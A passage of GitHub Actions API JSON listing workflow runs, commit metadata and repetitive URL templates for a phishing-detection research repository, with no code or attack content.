","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292306518,"node_id":"MDExOldvcmtmbG93UnVuMjkyMzA2NTE4","head_branch":"x_spam_flag","head_sha":"183be5b7aeeadf7ba292dd921731a660cab9af2b","run_number":283,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1299350178,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk5MzUwMTc4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292306518","pull_requests":[],"created_at":"2020-10-06T22:21:44Z","updated_at":"2020-10-06T22:24:15Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1299350178","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"183be5b7aeeadf7ba292dd921731a660cab9af2b","tree_id":"b38c72e0cda01bfa7771810acb5af9e9f76b9b48","message":"Lint","timestamp":"2020-10-06T22:21:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292306455,"node_id":"MDExOldvcmtmbG93UnVuMjkyMzA2NDU1","head_branch":"x_spam_flag","head_sha":"183be5b7aeeadf7ba292dd921731a660cab9af2b","run_number":1076,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1299350013,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk5MzUwMDEz","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292306455","pull_requests":[],"created_at":"2020-10-06T22:21:41Z","updated_at":"2020-10-07T02:35:45Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1299350013","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"183be5b7aeeadf7ba292dd921731a660cab9af2b","tree_id":"b38c72e0cda01bfa7771810acb5af9e9f76b9b48","message":"Lint","timestamp":"2020-10-06T22:21:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292221714,"node_id":"MDExOldvcmtmbG93UnVuMjkyMjIxNzE0","head_branch":"x_spam_flag","head_sha":"8b25ed8d9153ee37a4db0c2038524b337457d65f","run_number":282,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1299089101,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk5MDg5MTAx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292221714","pull_requests":[],"created_at":"2020-10-06T21:17:45Z","updated_at":"2020-10-06T21:20:22Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1299089101","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"8b25ed8d9153ee37a4db0c2038524b337457d65f","tree_id":"6e0244b6a82f48e9b48a2e16b763a7b8988355d3","message":"Additional Email Unit-tests","timestamp":"2020-10-06T19:37:31Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":